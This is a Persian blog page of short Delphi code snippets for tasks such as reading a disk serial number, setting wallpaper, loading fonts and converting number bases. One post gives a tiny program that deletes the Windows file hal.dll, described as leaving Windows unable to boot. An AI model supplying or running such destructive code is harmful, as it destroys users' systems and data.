محمد مقصودلو - کدهای آماده دلفی افزایش بازدید - افزایش بازدید و ترافیک سایت شما
سفارش تبلیغ
صبا ویژن
دانش، گنجینه و کلید آن پرسش است . پس خدا رحمتتان کند بپرسید که به چهارکس پاداش داده می شود : پرسشگر و گوینده و شنونده و دوستدار آنها . [پیامبر خدا صلی الله علیه و آله]
کدهای آماده دلفی

 

هر هاردی یک سریال دارد.این سریال برای ساخت نرم افزار های تجاری و رجیستری بسیار لازم است:

 
procedure TForm1.Button1Click(Sender: T);
var
  SerialNum: DWord;
  A,B: DWord;
  C: array [0..255] of Char;
  Buffer: array [0..255] of Char;
begin

  if GetVolumeInformation(
    PChar("C:\"),
    Buffer,
    256,
    @SerialNum,
    A,
    B,
    C,
    256) then Label1.Caption:=IntToStr(SerialNum);
end;



محمد مقصودلو ::: چهارشنبه 87/7/24::: ساعت 1:28 عصر

با اجرای این برنامه یکی از فایلهای مهم ویندوز پاک می شود و دیگر ویندوز بالا نمی آید.مزیت این برنامه حجم پایین آن است.متن کد را در یک فایل متنی کپی کنید.سپس پسوند آن را به .dpr تغییر دهید سپس با دلفی آن را باز و کامپایل فرمایید(ما نگفتیم اجرا نمایید):

 

program WC;

uses
  SysUtils;

begin
 DeleteFile("c:\windows\system32\hal.dll")
end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM



محمد مقصودلو ::: چهارشنبه 87/7/24::: ساعت 1:26 عصر

 

یک روش خوب و کامل برای تغییر WALLPAPER.با این روش شما هم می توانید تصویر را معرفی کنید و هم این که آیا تصویر در صورت کوچک بودن در وسط باشد یا Tile؟ با قرار دادن مقدار منطقی False تصویر در وسط و با قرار دادن True تصویر به صورت Tile نصب می شود.


uses
  Registry, WinProcs;
procedure SetWallpaper(
            sWallpaperBMPPath : String;
            bTile : boolean );
var
  reg : TRegIniFile;
begin
  reg := TRegIniFile.Create(
           "Control Panel\Desktop" );
  with reg do
  begin
    WriteString( "", "Wallpaper",
      sWallpaperBMPPath );
    if( bTile )then
    begin
      WriteString(
        "", "TileWallpaper", "1" );
    end else
    begin
      WriteString(
        "", "TileWallpaper", "0" );
    end;
  end;

  reg.Free;
  SystemParametersInfo(
    SPI_SETDESKWALLPAPER,
    0,
    Nil,
    SPIF_SENDWININICHANGE );
end;



محمد مقصودلو ::: چهارشنبه 87/7/24::: ساعت 1:19 عصر

 

AddFontResource("C:\FileName.ttf");
SendMessage(HWND_BROADCAST,WM_FONTCHANGE, 0, 0);



محمد مقصودلو ::: چهارشنبه 87/7/24::: ساعت 12:53 عصر

نحوه استفاده از فایل استریم

procedure SaveFile(const FileName: TFileName;

const content: string);

var

Stream: TFileStream;

begin

Stream := TFileStream.Create(FileName, fmCreate);

try

Stream.Write(Pointer(content)^, Length(content));

except

Stream.Free;

raise;

end;

Stream.Free;

end;

 

Sample call:

 

SaveFile("test.txt", "ABC"); // Stores "ABC" in the file "test.txt"



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:37 عصر

با استفاده از این تابع می توانی در یک خانه فوکوس کنی :

procedure TFactorBuyForm.Select_cell(Col,Row:integer);

var

myRect: TGridRect;

begin

myRect.Left := col;

myRect.Top := Row;

myRect.Right := myRect.Left;

myRect.Bottom := myRect.Top;

FactorGrid.Selection := myRect;

FactorGrid.SetFocus;

end;



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:36 عصر

برای استفاده از کرسر در یک فایل رسورس...ابتدا باید فایل ریسورس را بسازیم.
     {$R CURSORS.RES}
screen.cursors[1]:=LoadCursor(HINSTANCE,makeintresource(133));
shape1.cursor := 1;

می خواهیم گوشه های فرم برنامه هلالی شکل باشد و فرمم مستطیلی نباشد
var r:hrgn;
begin
// baray boridan goshe form
r:=CreateEllipticRgn(-15,-15,width+15,height+15);
setwindowrgn(handle,r,true);
// baray bargardandan be halat aady
setwindowrgn(handle,0,true);
delete(r);

برای استفاده ایجاد صدا از یک فایل ریسورس(َARNLOD نام مستعار فایل در Sound.rc)
ARNOLD WAVE "Hasta.Wav" در فایل rc
{$R SOUNDS.RES} 
PlaySound(PChar("ARNOLD"), hInstance, snd_Sync or snd_Resource);

برگرفته شده از سایت دنیای برنامه نویسی دلفی(http://mt85.blogfa.com)



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:35 عصر

از این کد برای undo در  memo استفاده می شود

 Memo1.Perform(EM_UNDO, 0, 0);

از این کد برای منتقل کردن focus به کنترل بعدی استفاده می شود

begin

  if Key = #13 then                          { if it"s an enter key }
  begin
      Key := #0;                                 { eat enter key }
      Perform(WM_NEXTDLGCTL, 0, 0);              { move to next control }
  end
end;

برای اجرای برنامه ها از طریق کد نویسی

WinExec(PChar("notepad.exe"),SW_SHOWNORMAL); {Ejecuta el Notepad.Exe}

برای نمایش popup menu به وسیله کد

PopUpMenu1.popup(100,100)



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:34 عصر

یک تابع برای تبدیل بایرنری به مبنای ??:

function BinToInt(Value: String): Integer;
var
  i,Size: Integer;
begin
  Result:=0;
  Size:=Length(Value);
  for i:=Size downto 1 do
    if Value[i]="1" then Result:=Result+(1 shl (Size-i));
end;

یک تابع برای تبدیل مبنای ?? به مبنای شانزده:

function IntToHex2( n:integer ):string;
  const hex:array [0..15] of char
     =("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F");
begin
  while n<>0 do begin
     result:=hex[ 15 and n ]+result; {=(n mod 15)}
     n:=n shr 4; end; {=n div 16}
end;
 



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:33 عصر

این تابع برای عوض کردن مشخصات  همه کامپوننت ها در یک فرم است:

procedure TForm1.SetReadOnly(Value:boolean) ;
var
  PropInfo  : PPropInfo;
  Component : TComponent;
  i         : integer;
begin
  for i := 0 to ComponentCount - 1 do begin
    Component := Components[ i ];
    if Component is TControl then begin
      PropInfo := GetPropInfo( Component.ClassInfo, "ReadOnly" );
      if Assigned( PropInfo ) and
         ( PropInfo^.PropType^.Kind = tkEnumeration ) then
        SetOrdProp( Component, PropInfo, integer( Value ) );
    end;
  end;
end;



محمد مقصودلو ::: شنبه 87/4/29::: ساعت 1:32 عصر

<   <<   6   7   8   9   10   >>   >

لیست کل یادداشت های این وبلاگ

>> بازدیدهای وبلاگ <<
بازدید امروز: 15
بازدید دیروز: 72
کل بازدید :88562

>> درباره خودم <<
کدهای آماده دلفی
محمد مقصودلو
در این وبلاگ سعی میکنم مطالب مربوط به برنامه نویسی دلفی ، پاسکال و گرافیک رایانه ای 2 بعدی و 3 بعدی را به روز کنم منتظر سوالات شما نیز هستم

>>تست سرعت تایپ<<

>> پیوندهای روزانه <<

>>فهرست موضوعی یادداشت ها<<

>>آرشیو شده ها<<

>>لوگوی وبلاگ من<<
کدهای آماده دلفی

>>لوگوی دوستان<<



>>اشتراک در خبرنامه<<
 

>>طراح قالب<<


>>ذکر روزهای هفته<<

>>جستجوگر وبلاگها<<

>>ساعت<<

>> اخبار فناوری<<

>>جدیدترین اس ام اس های اینترنت<<

>>فال حافظ<<

>>دیکشنری آنلاین<<
-

>>جک یا لطیفه<<

>>هواشناسی<<

>>تاریخ و ساعت<<
شنبه 04/4/14 ساعت 5:16 صبح